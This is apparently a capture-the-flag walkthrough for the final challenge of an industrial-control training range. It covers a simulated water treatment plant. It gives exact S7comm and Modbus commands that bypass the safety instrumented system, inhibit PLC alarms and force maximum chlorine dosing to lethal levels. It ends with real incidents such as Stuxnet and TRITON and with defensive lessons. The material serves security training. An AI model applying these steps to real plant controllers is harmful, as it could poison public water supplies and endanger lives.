Challenge 10 - Full Compromise
Points: 1000
The Stuxnet Scenario
**Difficulty: Expert
The Story
This is it. The final challenge. You’ve compromised every layer of this water treatment plant - corporate network, DMZ, SCADA, process PLCs, power substation, and safety systems. Now combine everything you’ve learned to cause a catastrophic failure: push chlorine to lethal levels (>8 ppm) while keeping every safety system disabled. No alarms. No trips. No one knows until it’s too late.
This is exactly what Stuxnet did to Iran’s nuclear centrifuges in 2010.
What You Know
- CH-08: You can control the chemical dosing PLC via Modbus (10.0.4.102:502)
- CH-09: You can bypass the SIS via S7comm (bridge at 10102)
- Chlorine capped at ~5 ppm because of a PLC safety cutoff
- Even with SIS bypassed, the PLC has its own safety logic
The Three Barriers
To reach lethal chlorine (>8 ppm), ALL THREE must be defeated simultaneously:
- PLC PID Controller - keeps chlorine at 1.5 ppm automatically
- PLC Safety Cutoff - stops dosing at 5 ppm
- Safety Instrumented System - trips at 5 ppm (independent system)
You already defeated #1 (manual mode, CH-08) and #3 (SIS maintenance, CH-09). But #2 still blocks you at 5 ppm.
Step 1: Figure Out the PLC Safety Cutoff
In CH-08, you set manual mode + high speed. Chlorine rose but stopped at ~5 ppm. Why?
Hint: Go back to the Modbus scan from CH-08. There’s a register you didn’t use.
Which register?
HR 15 = alarm_inhibit. When set to 0, the PLC has a hard safety cutoff at 5 ppm. Setting it to 1 disables this cutoff.Step 2: Plan the Attack
You need all three active at once:
- SIS in maintenance mode (S7comm - already done if CH-09 is complete)
- PLC alarm inhibit ON (Modbus register 15 = 1)
- PLC manual mode + maximum dosing (Modbus register 9 = 0, register 10 = 100)
Step 3: Execute
Make sure your tunnels are set up for both Modbus (port 502) and S7comm (port 10102).
Phase 1: Bypass the SIS (if not already done)
Commands?
```bash python3 ~/tools/s7comm-tool.py -t 127.0.0.1 -p 10102 -c write --db 2 --offset 14 --value 7777 python3 ~/tools/s7comm-tool.py -t 127.0.0.1 -p 10102 -c write --db 1 --offset 0 --bit 4 --bit-value on ```Phase 2: Inhibit PLC alarms
Command?
```bash python3 ~/tools/modbus-tool.py -t 127.0.0.1 -c write --register 15 --value 1 ```Phase 3: Maximum chlorine dosing
Commands?
```bash python3 ~/tools/modbus-tool.py -t 127.0.0.1 -c write --register 9 --value 0 python3 ~/tools/modbus-tool.py -t 127.0.0.1 -c write --register 10 --value 100 ```Step 4: Watch It Burn
Open the HMI Process page. Watch chlorine climb:
- 1.5 ppm → normal (green)
- 4.0 ppm → elevated (yellow)
- 5.0 ppm → would normally trip the safety… but you disabled it
- 6.0 ppm → dangerous (red)
- 8.0 ppm → LETHAL - PLANT COMPROMISED
You can monitor from the terminal too:
python3 ~/tools/modbus-tool.py -t 127.0.0.1 -c read --register 0 --type input
The chlorine sensor reading climbs past 500 (5.0 ppm)… 600… 700… 800+.
Step 5: Victory
When chlorine exceeds 8 ppm with SIS bypassed and alarms disabled:
- The HMI shows PLANT COMPROMISED in red
- A victory overlay appears with the final flag
- The scoreboard shows 4700/4700
What You Achieved
You executed a coordinated multi-protocol attack across 5 network zones using 8 industrial protocols:
Corporate (HTTP) → DMZ (OPC-UA, SQLi, SSH) → SCADA (HMI) →
Process (Modbus, DNP3, EtherNet/IP, IEC 104) → Safety (S7comm)
Every protocol had zero authentication. Every system was accessible once you reached it. The only defence was network segmentation - and you bypassed that with SSH tunneling and a forgotten maintenance bridge.
The Real-World Lesson
- Stuxnet (2010): Destroyed Iranian nuclear centrifuges by manipulating PLCs while reporting normal readings
- Ukraine Power Grid (2015): Opened breakers via IEC 104, blacking out 230,000 people
- TRITON/TRISIS (2017): Targeted safety systems in a Saudi petrochemical plant
- Oldsmar, Florida (2021): Changed chemical dosing levels in a water treatment plant remotely
What you just did combines elements of all four attacks. The difference: this was a training range. In the real world, lives depend on these systems.
Defence requires: network segmentation, protocol monitoring, authentication, safety system integrity, and people who understand both IT and OT security.
Scoreboard
4700 / 4700 - ALL CHALLENGES COMPLETE.